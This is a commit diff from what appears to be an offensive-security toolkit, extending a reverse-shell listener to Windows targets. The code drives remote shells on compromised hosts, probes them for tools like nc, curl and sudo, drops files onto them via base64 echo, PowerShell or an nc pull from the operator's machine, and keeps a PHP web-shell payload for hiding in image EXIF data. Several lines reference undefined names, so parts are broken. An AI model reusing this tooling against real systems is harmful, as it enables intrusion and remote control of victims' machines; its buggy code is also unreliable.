Browse Source

shell win impl.

Roman Hergenreder 7 months ago
parent
commit
4fb2e30bbd
5 changed files with 191 additions and 79 deletions
  1. 5 1
      __init__.py
  2. 133 38
      rev_shell.py
  3. 40 28
      upload_file.py
  4. 12 11
      util.py
  5. 1 1
      xss_handler.py

+ 5 - 1
__init__.py

@@ -2,7 +2,11 @@ import os
 import sys
 
 __doc__ = __doc__ or ""
-__all__ = ["util", "fileserver", "xss_handler", "rev_shell", "xp_cmdshell", "dnsserver", "sqli", "smtpserver"]
+__all__ = [
+    "util", "fileserver", "xss_handler", "rev_shell", 
+    "xp_cmdshell", "dnsserver", "sqli", "smtpserver", 
+    "upload_file"
+]
 
 inc_dir = os.path.dirname(os.path.realpath(__file__))
 sys.path.append(inc_dir)

+ 133 - 38
rev_shell.py

@@ -5,6 +5,7 @@ import os
 import sys
 import pty
 import util
+import upload_file
 import time
 import random
 import threading
@@ -31,6 +32,7 @@ class ShellListener:
         self.connection = None
         self.on_connect = None
         self.features = set()
+        self.os = None # we need a way to find the OS here
 
     def startBackground(self):
         self.listen_thread = threading.Thread(target=self.start)
@@ -41,11 +43,14 @@ class ShellListener:
         return feature.lower() in self.features
 
     def probe_features(self):
-        features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
-        for feature in features:
-            output = self.exec_sync("whereis " + feature)
-            if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
-                self.features.add(feature.lower())
+        if self.os == "unix":
+            features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
+            for feature in features:
+                output = self.exec_sync("whereis " + feature)
+                if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
+                    self.features.add(feature.lower())
+        else:
+            print("[-] Can't probe features for os:", self.os)
             
     def get_features(self):
         return self.features
@@ -62,16 +67,33 @@ class ShellListener:
 
                 if self.on_connect:
                     self.on_connect(addr)
-
+          
+                got_first_prompt = False
                 while self.running:
                     data = self.connection.recv(1024)
                     if not data:
                         break
+                    
+                    if self.os is None and not got_first_prompt:
+                        if b"Windows PowerShell" in data:
+                            self.os = "win"
+                        elif b"bash" in data or b"sh" in data:
+                            self.os = "unix"
+                        
+                        if self.os and self.verbose:
+                            print("OS PROBED:", self.os)
+
                     if self.verbose:
                         print("< ", data)
-                    for callback in self.on_message:
-                        callback(data)
-                        
+
+                    if got_first_prompt:  # TODO: check this...
+                        for callback in self.on_message:
+                            callback(data)
+                    elif self.is_prompt(data):
+                        got_first_prompt = True
+                        if self.verbose:
+                            print("RECV first prompt")
+
             print("[-] Disconnected")
             self.connection = None
 
@@ -96,7 +118,23 @@ class ShellListener:
         data += b"\n"
         return self.send(data)
 
+    def is_prompt(self, data):
+        if self.os == "unix":
+            if data.endswith(b"# ") or data.endswith(b"$ "):
+                return True
+        elif self.os == "win":
+            if data.endswith(b"> "):
+                return True
+        
+        return False
+
     def exec_sync(self, cmd):
+
+        if self.os is None:
+            print("[-] OS not probed yet, waiting...")
+            while self.os is None:
+                time.sleep(0.1)
+
         output = b""
         complete = False
 
@@ -111,12 +149,17 @@ class ShellListener:
                 return
 
             output += data
-            if data.endswith(b"# ") or data.endswith(b"$ "):
+            if self.is_prompt(output):
                 complete = True
-                if b"\n" in output:
-                    output = output[0:output.rindex(b"\n")]
-                if output.startswith(cmd + b"\n"):
-                    output = output[len(cmd)+1:]
+                if self.os == "unix":
+                    line_ending = b"\n"
+                elif self.os == "win":
+                    line_ending = b"\r\n"
+
+                if line_ending in output:
+                    output = output[0:output.rindex(line_ending)]
+                if output.startswith(cmd + line_ending):
+                    output = output[len(cmd)+len(line_ending):]                
         
         self.on_message.append(callback)
         self.sendline(cmd)
@@ -140,34 +183,86 @@ class ShellListener:
             time.sleep(0.1)
         return self.running
 
-    def write_file(self, path, data_or_fd, permissions=None):
+    def get_cwd(self):
+        if self.os == "unix":
+            return self.exec_sync("pwd").decode()
+        elif self.os == "win":
+            return self.exec_sync("pwd | foreach {$_.Path}").decode()
+        else:
+            print("[-] get_cwd not implemented for os:", self.os)
+            return None
+
+    def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs):
+
+        if method == None:
+            if self.os == "win":
+                method = "powershell"
+            elif self.os == "unix":
+                method = "echo"
+        else:
+            print("[-] No method specified, assuming 'echo'")
+            method = echo
+
+        send_func = self.sendline if not sync else self.exec_sync
 
         def write_chunk(chunk, first=False):
-            # assume this is unix
             chunk = base64.b64encode(chunk).decode()
-            operator = ">" if first else ">>"
-            self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
-
-        chunk_size = 1024
-        if hasattr(data_or_fd, "read"):
-            first = True
-            while True:
-                data = data_or_fd.read(chunk_size)
-                if not data:
-                    break
-                if isinstance(data, str):
-                    data = data.encode()
-                write_chunk(data, first)
-                first = False
-            data_or_fd.close()
+            if method == "powershell":
+                send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')")
+                send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)")
+            else:
+                operator = ">" if first else ">>"
+                send_func(f"echo {chunk}|base64 -d {operator} {path}")
+
+        if method == "echo" or method == "powershell":
+
+            if method == "powershell":
+                path = path.replace("'","\\'")
+                send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)")
+
+            chunk_size = 1024
+            if hasattr(data_or_fd, "read"):
+                first = True
+                while True:
+                    data = data_or_fd.read(chunk_size)
+                    if not data:
+                        break
+                    if isinstance(data, str):
+                        data = data.encode()
+                    write_chunk(data, first)
+                    first = False
+                data_or_fd.close()
+            else:
+                if isinstance(data_or_fd, str):
+                    data_or_fd = data_or_fd.encode()
+                for offset in range(0, len(data_or_fd), chunk_size):
+                    write_chunk(data_or_fd[offset:chunk_size], offset == 0)
+                    
+            if method == "powershell":
+                send_func(f"$stream.Close()")
+
+        elif method == "nc" or method == "netcat":
+            ip_addr = util.get_address()
+            bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"]
+            port = None if "listen_port" not in kwargs else int(kwargs["listen_port"])
+            sock = util.open_server(ip_addr, port, retry=False)
+            if not sock:
+                return False
+            
+            def serve_file():
+                upload_file.serve_file(sock, data_or_fd, forever=False)
+
+            port = sock.getsockname()[1]
+            upload_thread = threading.Thread(target=serve_file)
+            upload_thread.start()
+            send_func(f"{bin_path} {ip_addr} {port} > {path}")
+            upload_thread.join()
         else:
-            if isinstance(data_or_fd, str):
-                data_or_fd = data_or_fd.encode()
-            for offset in range(0, len(data_or_fd), chunk_size):
-                write_chunk(data_or_fd[offset:chunk_size], offset == 0)
+            print("[-] Unknown write-file method:", method)
+            return False
 
-        if permissions:
-            self.sendline(f"chmod {permissions} {path}")
+        if permissions and self.os == "unix":
+            send_func(f"chmod {permissions} {path}")
 
 class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
     daemon_threads = True
@@ -367,7 +462,7 @@ if __name__ == "__main__":
     # choose random port
     if listen_port is None:
         listen_port = random.randint(10000,65535)
-        while util.isPortInUse(listen_port):
+        while util.is_port_in_use(listen_port):
             listen_port = random.randint(10000,65535)
 
     payload = generate_payload(payload_type, local_address, listen_port)

+ 40 - 28
upload_file.py

@@ -3,37 +3,49 @@
 import sys
 import os
 import util
+import argparse
 
-if len(sys.argv) < 2:
-    print("Usage: %s <file> [port]" % sys.argv[0])
-    exit(1)
-
-# Create a TCP/IP socket
-FILENAME = sys.argv[1]
-
-# Bind the socket to the port or choose a random one
-address = util.get_address()
-port = None if len(sys.argv) < 3 else int(sys.argv[2])
-sock = util.openServer(address, port)
-if not sock:
-    exit(1)
-
-print("Now listening, download file using:")
-print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(FILENAME)))
-print()
+def serve_file(listen_sock, path, forever=False):
+    try:
+        while True:
+            print('[ ] Waiting for a connection')
+            connection, client_address = listen_sock.accept()
 
-while True:
-    # Wait for a connection
-    print('waiting for a connection')
-    connection, client_address = sock.accept()
+            try:
+                print('[+] Connection from', client_address)
 
-    try:
-        print('connection from', client_address)
+                with open(FILENAME, "rb") as f:
+                    content = f.read()
+                    connection.sendall(content)
 
-        with open(FILENAME, "rb") as f:
-            content = f.read()
-            connection.sendall(content)
+                print("[+] File Transfer succeeded")
+            finally:
+                connection.close()
 
+            if not forever:
+                break
     finally:
-        # Clean up the connection
-        connection.close()
+        listen_sock.close()
+            
+if __name__ == "__main__":
+
+    parser = argparse.ArgumentParser(description="File Transfer using netcat")
+    parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
+    parser.add_argument("--path", type=str, required=True, help="Path to the file you wish to upload")
+    args = parser.parse_args()
+
+    path = args.path
+    if not os.path.isfile(path):
+        print("[-] File not found:", path)
+        exit(1)
+
+    address = util.get_address()
+    sock = util.open_server(address, args.port)
+    if not sock:
+        exit(1)
+
+    print("[+] Now listening, download file using:")
+    print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(path)))
+    print()
+
+    serve_file(listen_sock, path, forever=True)

+ 12 - 11
util.py

@@ -12,13 +12,14 @@ import os
 import io
 import json
 
-from PIL import Image
-
-def isPortInUse(port):
+def is_port_in_use(port):
     import socket
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
         return s.connect_ex(('127.0.0.1', port)) == 0
 
+def get_payload_path(path):
+    return os.path.realpath(os.path.join(os.path.dirname(__file__), path))
+
 def get_address(interface={"tun0", "vpn0"}):
     if not isinstance(interface, str):
         requested = set(interface)
@@ -111,28 +112,27 @@ def assert_json_path(res, path, value, err=None):
     err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err
     exit_with_error(res, err)
 
-def openServer(address, ports=None):
-    listenPort = None
-    retry = True
+def open_server(address, ports=None, retry=True):
+    listen_port = None
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
     while retry:
 
         if isinstance(ports, int):
-            listenPort = ports
+            listen_port = ports
             retry = False
         elif isinstance(ports, range):
-            listenPort = random.randint(ports[0],ports[-1])
+            listen_port = random.randint(ports[0], ports[-1])
         elif ports is None:
-            listenPort = random.randint(10000,65535)
+            listen_port = random.randint(10000,65535)
 
         try:
-            sock.bind((address, listenPort))
+            sock.bind((address, listen_port))
             sock.listen(1)
             return sock
         except Exception as e:
             if not retry:
-                print("Unable to listen on port %d: %s" % (listenPort, str(e)))
+                print("[-] Unable to listen on port %d: %s" % (listenPort, str(e)))
             raise e
 
 class Stack:
@@ -222,6 +222,7 @@ def base64urldecode(data):
 
 def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None):
     import exif
+    from PIL import Image
 
     if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
         _in = Image.new("RGB", (50,50), (255,255,255))

+ 1 - 1
xss_handler.py

@@ -88,7 +88,7 @@ if __name__ == "__main__":
 
     # choose random port
     if listen_port is None:
-        sock = util.openServer(local_address)
+        sock = util.open_server(local_address)
         if not sock:
             exit(1)
         listen_port = sock.getsockname()[1]